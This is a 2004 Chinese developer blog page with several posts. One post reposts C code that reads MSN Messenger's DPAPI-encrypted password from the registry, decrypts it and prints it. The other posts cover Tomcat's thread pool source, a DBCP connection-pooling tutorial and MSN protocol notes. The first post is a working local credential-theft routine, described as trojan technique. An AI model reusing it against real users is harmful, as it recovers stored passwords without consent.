enhydraboy

  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::
  29 随笔 :: 3 文章 :: 56 评论 :: 5 引用

2004年12月1日 #

来自http://www.msning.com/bbs/index.php?showtopic=15654

/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的
* 这个程序演示解码过程
* tombkeeper[0x40]nsfocus[0x2e]com
* tombkeeper[0x40]xfocus[0x2e]net
* 2004.08.11
*/
#include <Windows.h>

#pragma comment(lib, "Advapi32.lib")
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
typedef struct _CRYPTOAPI_BLOB {
DWORD cbData;
BYTE* pbData;
} DATA_BLOB;
typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
DWORD cbSize;
DWORD dwPromptFlags;
HWND hwndApp;
LPCWSTR szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT, *PCRYPTPROTECT_PROMPTSTRUCT;
typedef BOOL (WINAPI *PCryptUnprotectData)(
DATA_BLOB* pDataIn,
LPWSTR* ppszDataDescr,
DATA_BLOB* pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
DWORD dwFlags,
DATA_BLOB* pDataOut
);
PCryptUnprotectData CryptUnprotectData = NULL;

int main(void)
{
int ret;
HMODULE hNtdll;
HKEY hKey;
DWORD dwType;
char Data[0x100] = {0};
DWORD dwSize;
DATA_BLOB DataIn;
DATA_BLOB DataOut;
ret = RegOpenKeyEx
(
HKEY_CURRENT_USER,
"Software\\Microsoft\\MSNMessenger",
0,
KEY_READ,
&hKey
);
if( ret != ERROR_SUCCESS ) return 1;
ret = RegQueryValueEx
(
hKey,
"Password.NET Messenger Service",
NULL,
&dwType,
Data,
&dwSize
);
if( ret != ERROR_SUCCESS ) return 1;
FCHK ((hNtdll = LoadLibrary ("Crypt32.dll")) != NULL);
FCHK ((CryptUnprotectData = (PCryptUnprotectData)
GetProcAddress (hNtdll, "CryptUnprotectData")) != NULL);
DataIn.pbData = Data + 2; //口令密文从第二位开始
DataIn.cbData = dwSize-2;
CryptUnprotectData
(
&DataIn,
NULL,
NULL,
NULL,
NULL,
1,
&DataOut
);
base64_decode (DataOut.pbData, Data, strlen(DataOut.pbData));
printf ( "MSN Password: %s\n", Data);
return 0;
}
//copied from GNU libc - libc/resolv/base64.c
int base64_decode (char const *src, char *target, size_t targsize)
{
static const char Base64[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const char Pad64 = ‘=‘;
int tarindex, state, ch;
char *pos;
state = 0;
tarindex = 0;
while ((ch = *src++) != ‘\0‘)
{
if (isspace (ch)) /* Skip whitespace anywhere. */
continue;
if (ch == Pad64)
break;
pos = strchr (Base64, ch);
if (pos == 0) /* A non-base64 character. */
return (-1);
switch (state)
{
case 0:
if (target)
{
if ((size_t) tarindex >= targsize)
return (-1);
target[tarindex] = (pos - Base64) << 2;
}
state = 1;
break;
case 1:
if (target)
{
if ((size_t) tarindex + 1 >= targsize)
return (-1);
target[tarindex] |= (pos - Base64) >> 4;
target[tarindex + 1] = ((pos - Base64) & 0x0f) << 4;
}
tarindex++;
state = 2;
break;
case 2:
if (target)
{
if ((size_t) tarindex + 1 >= targsize)
return (-1);
target[tarindex] |= (pos - Base64) >> 2;
target[tarindex + 1] = ((pos - Base64) & 0x03) << 6;
}
tarindex++;
state = 3;
break;
case 3:
if (target)
{
if ((size_t) tarindex >= targsize)
return (-1);
target[tarindex] |= (pos - Base64);
}
tarindex++;
state = 0;
break;
default:
abort ();
}
}
/*
* We are done decoding Base-64 chars. Let‘s see if we ended
* on a byte boundary, and/or with erroneous trailing characters.
*/
if (ch == Pad64)
{ /* We got a pad char. */
ch = *src++; /* Skip it, get next. */
switch (state)
{
case 0: /* Invalid = in first position */
case 1: /* Invalid = in second position */
return (-1);
case 2: /* Valid, means one byte of info */
/* Skip any number of spaces. */
for ((void) NULL; ch != ‘\0‘; ch = *src++)
if (!isspace (ch))
break;
/* Make sure there is another trailing = sign. */
if (ch != Pad64)
return (-1);
ch = *src++; /* Skip the = */
/* Fall through to "single trailing =" case. */
/* FALLTHROUGH */
case 3: /* Valid, means two bytes of info */
/*
* We know this char is an =. Is there anything but
* whitespace after it?
*/
for ((void) NULL; ch != ‘\0‘; ch = *src++)
if (!isspace (ch))
return (-1);
/*
* Now make sure for cases 2 and 3 that the "extra"
* bits that slopped past the last full byte were
* zeros. If we don‘t check them, they become a
* subliminal channel.
*/
if (target && target[tarindex] != 0)
return (-1);
}
}
else
{
/*
* We ended by seeing the end of the string. Make sure we
* have no partial bytes lying around.
*/
if (state != 0)
return (-1);
}
return (tarindex);
}
//透视木马开发技术
posted @ 2004-12-01 14:47 Enhydraboy 阅读(1364) | 评论 (0)编辑

2004年11月4日 #

     摘要: 仅为了以后自己查询方便。http://www.codeproject.com/database/connectionstrings.aspBy Carlos Antollini OverviewGenerally one of the first steps when you are trying to work with databases is open it. You can find se...  阅读全文
posted @ 2004-11-04 10:18 Enhydraboy 阅读(1930) | 评论 (0)编辑

2004年11月2日 #

      前日在新闻晨报(10/30日,A6版)上看到,近日的珠海航展会上,杜大哥的自制飞碟已经参展了。本人不再想重复对于这件事的看法,详见 农民造“飞碟”有感 
      该报刊登的北航专家的质疑正验证了5个月前我的观点。这个目前采用汽车发动机的“飞碟”,只不过采用了垂直动力技术而非水平动力技术,没有任何实用价值。就如我所说的其无非是一个靠“飞碟”的外观唬唬人罢了的东西。而下面一则关于当事人接受记者的采访的报道中,大致也就是当事人大谈其认为的商业前景,当然最后离不了一个钱字而已。
      如果不是造一个蝶形会飞的东西,也不会引起这么多人的关注,炒作的前因后果大体也就如此。然而对于任何事的质疑是必须的,任何经不起“挑战”的东西,大多也没有什么前途。
      近日,有几位“傻叉”不离口的网友,也正兴致勃勃地关注此事,并且把“叉”随意泼洒。对此行径,只能哧之以鼻。如果其有任何自认为有意义的东西,竟可洋洋洒洒发表一通,又何必脑涨通红且自甘堕落地要从“叉”之类的地方找些快感。也许他们忘记了,他们也是从“叉”这个地方诞生的。
     当然,对于此类的“叉”先生的“叉”言论,只能采用一个办法“叉叉”(delete)。
posted @ 2004-11-02 09:23 Enhydraboy 阅读(737) | 评论 (1)编辑

2004年9月29日 #

/*
*  Copyright 1999-2004 The Apache Software Foundation
*
*  Licensed under the Apache License, Version 2.0 (the "License");
*  you may not use this file except in compliance with the License.
*  You may obtain a copy of the License at
*
*      http://www.apache.org/licenses/LICENSE-2.0
*
*  Unless required by applicable law or agreed to in writing, software
*  distributed under the License is distributed on an "AS IS" BASIS,
*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*  See the License for the specific language governing permissions and
*  limitations under the License.
*/

package org.apache.tomcat.util.threads;

import java.util.*;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.tomcat.util.res.StringManager;

/**
* A thread pool that is trying to copy the apache process management.
*
* @author Gal Shachor
*/
public class ThreadPool  {

    private static Log log = LogFactory.getLog(ThreadPool.class);

    private static StringManager sm =
        StringManager.getManager("org.apache.tomcat.util.threads.res");

    private static boolean logfull=true;

    /*
     * Default values ...
     */
    public static final int MAX_THREADS = 200;
    public static final int MAX_THREADS_MIN = 10;
    public static final int MAX_SPARE_THREADS = 50;
    public static final int MIN_SPARE_THREADS = 4;
    public static final int WORK_WAIT_TIMEOUT = 60*1000;

    /*
     * Where the threads are held.
     */
    protected ControlRunnable[] pool = null;

    /*
     * A monitor thread that monitors the pool for idel threads.
     */
    protected MonitorRunnable monitor;


    /*
     * Max number of threads that you can open in the pool.
     */
    protected int maxThreads;

    /*
     * Min number of idel threads that you can leave in the pool.
     */
    protected int minSpareThreads;

    /*
     * Max number of idel threads that you can leave in the pool.
     */
    protected int maxSpareThreads;

    /*
     * Number of threads in the pool.
     */
    protected int currentThreadCount;

    /*
     * Number of busy threads in the pool.
     */
    protected int currentThreadsBusy;

    /*
     * Flag that the pool should terminate all the threads and stop.
     */
    protected boolean stopThePool;

    /* Flag to control if the main thread is 'daemon' */
    protected boolean isDaemon=true;

    /** The threads that are part of the pool.
     * Key is Thread, value is the ControlRunnable
     */
    protected Hashtable threads=new Hashtable();

    protected Vector listeners=new Vector();

    /** Name of the threadpool
     */
    protected String name = "TP";

    /**
     * Sequence.
     */
    protected int sequence = 1;


    /**
     * Constructor.
     */   
    public ThreadPool() {
        maxThreads = MAX_THREADS;
        maxSpareThreads = MAX_SPARE_THREADS;
        minSpareThreads = MIN_SPARE_THREADS;
        currentThreadCount = 0;
        currentThreadsBusy = 0;
        stopThePool = false;
    }


    /** Create a ThreadPool instance.
     *
     * @param jmx True if you want a pool with JMX support. A regular pool
     *  will be returned if JMX or the modeler are not available.
     *
     * @return ThreadPool instance. If JMX support is requested, you need to
     *   call register() in order to set a name.
     */
    public static ThreadPool createThreadPool(boolean jmx) {
//        if( jmx ) {
//            try {
//                Class.forName( "org.apache.commons.modeler.Registry");
//                Class tpc=Class.forName( "org.apache.tomcat.util.threads.ThreadPoolMX");
//                ThreadPool res=(ThreadPool)tpc.newInstance();
//                return res;
//            } catch( Exception ex ) {
//            }
//        }
        return new ThreadPool();
    }

    public synchronized void start() {
stopThePool=false;
        currentThreadCount  = 0;
        currentThreadsBusy  = 0;

        adjustLimits();

        pool = new ControlRunnable[maxThreads];

        openThreads(minSpareThreads);
        if (maxSpareThreads < maxThreads) {
            monitor = new MonitorRunnable(this);
        }
    }

    public MonitorRunnable getMonitor() {
        return monitor;
    }

    public void setMaxThreads(int maxThreads) {
        this.maxThreads = maxThreads;
    }

    public int getMaxThreads() {
        return maxThreads;
    }

    public void setMinSpareThreads(int minSpareThreads) {
        this.minSpareThreads = minSpareThreads;
    }

    public int getMinSpareThreads() {
        return minSpareThreads;
    }

    public void setMaxSpareThreads(int maxSpareThreads) {
        this.maxSpareThreads = maxSpareThreads;
    }

    public int getMaxSpareThreads() {
        return maxSpareThreads;
    }

    public int getCurrentThreadCount() {
        return currentThreadCount;
    }

    public int getCurrentThreadsBusy() {
        return currentThreadsBusy;
    }

    public boolean isDaemon() {
        return isDaemon;
    }

    public static int getDebug() {
        return 0;
    }

    /** The default is true - the created threads will be
     *  in daemon mode. If set to false, the control thread
     *  will not be daemon - and will keep the process alive.
     */
    public void setDaemon( boolean b ) {
        isDaemon=b;
    }
   
    public boolean getDaemon() {
        return isDaemon;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }

    public int getSequence() {
        return sequence++;
    }

    public void addThread( Thread t, ControlRunnable cr ) {
        threads.put( t, cr );
        for( int i=0; i maxSpareThreads) {
            int toFree = currentThreadCount -
                         currentThreadsBusy -
                         maxSpareThreads;

            for(int i = 0 ; i < toFree ; i++) {
                ControlRunnable c = pool[currentThreadCount - currentThreadsBusy - 1];
                c.terminate();
                pool[currentThreadCount - currentThreadsBusy - 1] = null;
                currentThreadCount --;
            }

        }

    }

    /**
     * Returns the thread to the pool.
     * Called by threads as they are becoming idel.
     */
    protected synchronized void returnController(ControlRunnable c) {

        if(0 == currentThreadCount || stopThePool) {
            c.terminate();
            return;
        }

        // atomic
        currentThreadsBusy--;

        pool[currentThreadCount - currentThreadsBusy - 1] = c;
        notify();
    }

    /**
     * Inform the pool that the specific thread finish.
     *
     * Called by the ControlRunnable.run() when the runnable
     * throws an exception.
     */
    protected synchronized void notifyThreadEnd(ControlRunnable c) {
        currentThreadsBusy--;
        currentThreadCount --;
        notify();
    }


    /*
     * Checks for problematic configuration and fix it.
     * The fix provides reasonable settings for a single CPU
     * with medium load.
     */
    protected void adjustLimits() {
        if(maxThreads <= 0) {
            maxThreads = MAX_THREADS;
        } else if (maxThreads < MAX_THREADS_MIN) {
            log.warn(sm.getString("threadpool.max_threads_too_low",
                                  new Integer(maxThreads),
                                  new Integer(MAX_THREADS_MIN)));
            maxThreads = MAX_THREADS_MIN;
        }

        if(maxSpareThreads >= maxThreads) {
            maxSpareThreads = maxThreads;
        }

        if(maxSpareThreads <= 0) {
            if(1 == maxThreads) {
                maxSpareThreads = 1;
            } else {
                maxSpareThreads = maxThreads/2;
            }
        }

        if(minSpareThreads >  maxSpareThreads) {
            minSpareThreads =  maxSpareThreads;
        }

        if(minSpareThreads <= 0) {
            if(1 == maxSpareThreads) {
                minSpareThreads = 1;
            } else {
                minSpareThreads = maxSpareThreads/2;
            }
        }
    }

    /** Create missing threads.
     *
     * @param toOpen Total number of threads we'll have open
     */
    protected void openThreads(int toOpen) {

        if(toOpen > maxThreads) {
            toOpen = maxThreads;
        }

        for(int i = currentThreadCount ; i < toOpen ; i++) {
            pool[i - currentThreadsBusy] = new ControlRunnable(this);
        }

        currentThreadCount = toOpen;
    }

    /** @deprecated */
    void log( String s ) {
log.info(s);
//loghelper.flush();
    }
   
    /**
     * Periodically execute an action - cleanup in this case
     */
    public static class MonitorRunnable implements Runnable {
        ThreadPool p;
        Thread     t;
        int interval=WORK_WAIT_TIMEOUT;
        boolean    shouldTerminate;

        MonitorRunnable(ThreadPool p) {
            this.p=p;
            this.start();
        }

        public void start() {
            shouldTerminate = false;
            t = new Thread(this);
            t.setDaemon(p.getDaemon() );
    t.setName(p.getName() + "-Monitor");
            t.start();
        }

        public void setInterval(int i ) {
            this.interval=i;
        }

        public void run() {
            while(true) {
                try {

                    // Sleep for a while.
                    synchronized(this) {
                        this.wait(WORK_WAIT_TIMEOUT);
                    }

                    // Check if should terminate.
                    // termination happens when the pool is shutting down.
                    if(shouldTerminate) {
                        break;
                    }

                    // Harvest idle threads.
                    p.checkSpareControllers();

                } catch(Throwable t) {
    ThreadPool.log.error("Unexpected exception", t);
                }
            }
        }

        public void stop() {
            this.terminate();
        }

/** Stop the monitor
*/
        public synchronized void terminate() {
            shouldTerminate = true;
            this.notify();
        }
    }

    /**
     * A Thread object that executes various actions ( ThreadPoolRunnable )
     *  under control of ThreadPool
     */
    public static class ControlRunnable implements Runnable {
        /**
* ThreadPool where this thread will be returned
*/
        private ThreadPool p;

/**
* The thread that executes the actions
*/
        private ThreadWithAttributes     t;

/**
* The method that is executed in this thread
*/
       
        private ThreadPoolRunnable   toRun;
        private Runnable toRunRunnable;

/**
* Stop this thread
*/
private boolean    shouldTerminate;

/**
* Activate the execution of the action
*/
        private boolean    shouldRun;

/**
* Per thread data - can be used only if all actions are
*  of the same type.
*  A better mechanism is possible ( that would allow association of
*  thread data with action type ), but right now it's enough.
*/
private boolean noThData;

/**
* Start a new thread, with no method in it
*/
        ControlRunnable(ThreadPool p) {
            toRun = null;
            shouldTerminate = false;
            shouldRun = false;
            this.p = p;
            t = new ThreadWithAttributes(p, this);
            t.setDaemon(true);
            t.setName(p.getName() + "-Processor" + p.getSequence());
            p.addThread( t, this );
    noThData=true;
            t.start();
        }

        public void run() {
            boolean _shouldRun = false;
            boolean _shouldTerminate = false;
            ThreadPoolRunnable _toRun = null;
            try {
                while (true) {
                    try {
                        /* Wait for work. */
                        synchronized (this) {
                            while (!shouldRun && !shouldTerminate) {
                                this.wait();
                            }
                            _shouldRun = shouldRun;
                            _shouldTerminate = shouldTerminate;
                            _toRun = toRun;
                        }

                        if (_shouldTerminate) {
                            if (ThreadPool.log.isDebugEnabled())
                                ThreadPool.log.debug("Terminate");
                            break;
                        }

                        /* Check if should execute a runnable.  */
                        try {
                            if (noThData) {
                                if (_toRun != null) {
                                    Object thData[] = _toRun.getInitData();
                                    t.setThreadData(p, thData);
                                    if (ThreadPool.log.isDebugEnabled())
                                        ThreadPool.log.debug(
                                            "Getting new thread data");
                                }
                                noThData = false;
                            }

                            if (_shouldRun) {
                                if (_toRun != null) {
                                    _toRun.runIt(t.getThreadData(p));
                                } else if (toRunRunnable != null) {
                                    toRunRunnable.run();
                                } else {
                                    if (ThreadPool.log.isDebugEnabled())
                                    ThreadPool.log.debug("No toRun ???");
                                }
                            }
                        } catch (Throwable t) {
                            ThreadPool.log.error(sm.getString
                                ("threadpool.thread_error", t, toRun.toString()));
                            /*
                             * The runnable throw an exception (can be even a ThreadDeath),
                             * signalling that the thread die.
                             *
                            * The meaning is that we should release the thread from
                            * the pool.
                            */
                            shouldTerminate = true;
                            shouldRun = false;
                            p.notifyThreadEnd(this);
                        } finally {
                            if (_shouldRun) {
                                shouldRun = false;
                                /*
                                * Notify the pool that the thread is now idle.
                                 */
                                p.returnController(this);
                            }
                        }

                        /*
                        * Check if should terminate.
                        * termination happens when the pool is shutting down.
                        */
                        if (_shouldTerminate) {
                            break;
                        }
                    } catch (InterruptedException ie) { /* for the wait operation */
                        // can never happen, since we don't call interrupt
                        ThreadPool.log.error("Unexpected exception", ie);
                    }
                }
            } finally {
                p.removeThread(Thread.currentThread());
            }
        }
        /** Run a task
         *
         * @param toRun
         */
        public synchronized void runIt(Runnable toRun) {
    this.toRunRunnable = toRun;
    // Do not re-init, the whole idea is to run init only once per
    // thread - the pool is supposed to run a single task, that is
    // initialized once.
            // noThData = true;
            shouldRun = true;
            this.notify();
        }

        /** Run a task
         *
         * @param toRun
         */
        public synchronized void runIt(ThreadPoolRunnable toRun) {
    this.toRun = toRun;
    // Do not re-init, the whole idea is to run init only once per
    // thread - the pool is supposed to run a single task, that is
    // initialized once.
            // noThData = true;
            shouldRun = true;
            this.notify();
        }

        public void stop() {
            this.terminate();
        }

        public void kill() {
            t.stop();
        }

        public synchronized void terminate() {
            shouldTerminate = true;
            this.notify();
        }
    }

    /** Debug display of the stage of each thread. The return is html style,
     * for display in the console ( it can be easily parsed too )
     *
     * @return
     */
    public String threadStatusString() {
        StringBuffer sb=new StringBuffer();
        Iterator it=threads.keySet().iterator();
        sb.append("
    ");
            while( it.hasNext()) {
                sb.append("
  • ");
                ThreadWithAttributes twa=(ThreadWithAttributes)
                        it.next();
                sb.append(twa.getCurrentStage(this) ).append(" ");
                sb.append( twa.getParam(this));
                sb.append( "\n");
            }
            sb.append("
");
        return sb.toString();
    }

    /** Return an array with the status of each thread. The status
     * indicates the current request processing stage ( for tomcat ) or
     * whatever the thread is doing ( if the application using TP provide
     * this info )
     *
     * @return
     */
    public String[] getThreadStatus() {
        String status[]=new String[ threads.size()];
        Iterator it=threads.keySet().iterator();
        for( int i=0; ( i
posted @ 2004-09-29 14:46 Enhydraboy 阅读(1055) | 评论 (1)编辑

2004年9月22日 #

一般來說,在多人使用的系統中,應用程式若沒有運用 Connection pooling 的機制,會造成很大的效能問題,Connection 開開關關,除了慢,也會耗損資料庫伺服器的資源。大部分的 AP Server 都有提供 Connection pooling 的機制,程式設計師並無須去顧慮這個機制是如何運作的,只要懂得設定相關的參數即可。

假如說,某種狀況下,我們必須自行建置 Connection pooling 的機制時,該如何進行呢?自己寫當然是非常不划算的,況且也不一定寫的好,在這裡,我們使用 jakata project 裡的一個子專案 DBCP,來快速的建置一個隨處可用的 Connection pooling 機制。

在 Tomcat 裡,DBCP 是內建的,用來管理 DB Connection pooling。這個機制是可移植且可獨立出來使用的,要在你的運用程式中加上 DBCP 的功能,你必須至 http://jakarta.apache.org/commons/index.html 這個網址,找到該網頁內的 Components,共有三個必須下載:Collections 、 DBCP 、 Pool 。DBCP 是運用 Collections 及 Pool 這二個基礎的 Components 所設計出來的。當然,如果你有安裝 Tomcat server,最佳的方式是至 $TOMCAT_HOME/common/lib/ 目錄下去取得,保證版本的配合度不會出現問題。在 Tomcat server 裡,以 Tomcat 5.0.19 版內附的最新版本,這三個 Components 的檔名分別是 commons-collections.jar 、 commons-pool-1.1.jar 及 commons-dbcp-1.1.jar。

取得使用 DBCP 必備的 jar 檔後,請記得將這些 jar 檔,放置到 CLASSPATH 中,或直接放至 $JAVA_HOME/jre/lib/ext/ 目錄內。不過,由於 DBCP 有運用到 DataSource 的功能,而這功能是 J2EE 才有的,所以你還必須去下載 J2EE 的一個 javax.jar 檔。

環境建置好之後,接下來就可以開始設計 Connection Pooling 的機制,在這兒,我們介紹最簡單的作法,只要幾行指令就可以完成了,請看範例區裡的程式及其說明。

完成這個程式後,接下來在你的應用程式裡,用 DBConnect.getConnection() 來取得 DB Connection,就能享受到 Connection Pooling 的功能了。

在實際的運作中,這個範例有加上偵錯指令,會顯示出目前 Connection Pool 裡,有多少個 Idle 的 Connection 及多少個 Active 的 Connection,可供作為系統運作的參數調整依據。

範例:
01 package util;
02
03 import java.sql.*;
04 import javax.naming.*;
05 import javax.sql.*;
06
07 import org.apache.commons.dbcp.BasicDataSource;
08
09 public class DBConnect {
10 static DataSource dataSource = null;
11
12 public static DataSource setupDataSource( String sDrvName, String sUserName,
13 String sPwd, String connectURI ) {
14 BasicDataSource ds = new BasicDataSource();
15 ds.setDriverClassName( sDrvName );
16 ds.setUsername( sUserName );
17 ds.setPassword( sPwd );
18 ds.setUrl( connectURI );
19 ds.setMaxActive( 50 );
20 ds.setMaxIdle( 10 );
21 ds.setMaxWait( 10000 ); // 10 seconds
22 return ds;
23 }
24
25
26 // static init of the class
27 static {
28 try {
29 System.setProperty( "jdbc.drivers", "oracle.jdbc.driver.OracleDriver" );
30 Class.forName( "oracle.jdbc.driver.OracleDriver" );
31
32 dataSource = setupDataSource( "oracle.jdbc.driver.OracleDriver", "username",
33 "password", "jdbc:oracle:thin:@192.168.0.1:1521:SID" );
34 }
35 catch (Exception e) {
36 System.out.println( "DBConnect.java => Unable to load driver." + e.getMessage() );
37 }
38 }
39
40 /**
41 * 空的建構元,不作任何處理動作。
42 */
43 public DBConnect() {}
44
45 /**
46 * 取得 DB Connection.
47 */
48 public static Connection getConnection() throws SQLException,ClassNotFoundException {
49 BasicDataSource bds = (BasicDataSource) dataSource;
50 System.out.println("NumActive: " + bds.getNumActive() + ","
51 + "NumIdle: " + bds.getNumIdle() );
52 return dataSource.getConnection();
53 }
54 }
posted @ 2004-09-22 11:16 Enhydraboy 阅读(2075) | 评论 (2)编辑

2004年8月25日 #

     摘要: Sybase和SQL Server在这一点上有所不同,如果条件比较中的数据类型不匹配的话,可能会引起索引失效,导致潜在的Performance问题。 简单说明如下: CreateTableTest(c1intnotnull,c2moneydefault0,c3varchar(20),constraintPK_Testprimarykey(c1))gocreateindexind_c2_Teston...  阅读全文
posted @ 2004-08-25 14:15 Enhydraboy 阅读(753) | 评论 (0)编辑

2004年8月2日 #

     摘要: msnlib源代码中MimeMessage的parse是通过BufferedReaderbr=newBufferedReader(newStringReader(raw));addProperty(br.readLine());//MIME-VersionaddProperty(br.readLine());//Content-Type来获得每一行的内容,但是发现br.readline是以\r(0...  阅读全文
posted @ 2004-08-02 17:03 Enhydraboy 阅读(1521) | 评论 (2)编辑

2004年7月8日 #

     摘要: 总结,以免以后忘记。1 要用ILN设置自己的头像信息,头像信息是用一个<MSNOBJECT>来表示的2 当RC发现了以后(往往是和你建立对话Session的时候),会向你发送一个P2PMSGR的INVITE消息3 SC在收到INVITE后,要回应一个INVITE ACKnowledge,并且再发送一个MSNLIP/1.0 200 OK的消息。4 RC收到SC的MSNLIP/1.0 20...  阅读全文
posted @ 2004-07-08 10:50 Enhydraboy 阅读(3279) | 评论 (7)编辑

2004年7月7日 #

     摘要: Field6的类型说明:0x00 00 00 00 00 No flags 0x01 01 00 00 00 Unkown 0x02 02 00 00 00 Acknowledgement 0x04 04 00 00 00 Waiting for a reply 0x08 08 00 00 00 Error (binairy level?) 0x10 10 00 00 00 Unkown 0x20...  阅读全文
posted @ 2004-07-07 15:25 Enhydraboy 阅读(650) | 评论 (0)编辑

2004年6月29日 #

     摘要: MSN6中,可以定义自己的头像。那么自己做的机器人其实也可以显示头像。jmsn没有提供这个特性。只能自己修改代码了。关键是协议。我跟踪了msn的通讯协议,发现,首先,你要向服务器申明你的头像信息。这个信息是在<msnobj>实体内实现的。对方的msn messenger会发现你有头像信息,会通过SS向你发送msn p2p的invite msnmsng请求。然后你回应,传送头像二进制流。...  阅读全文
posted @ 2004-06-29 09:03 Enhydraboy 阅读(1584) | 评论 (1)编辑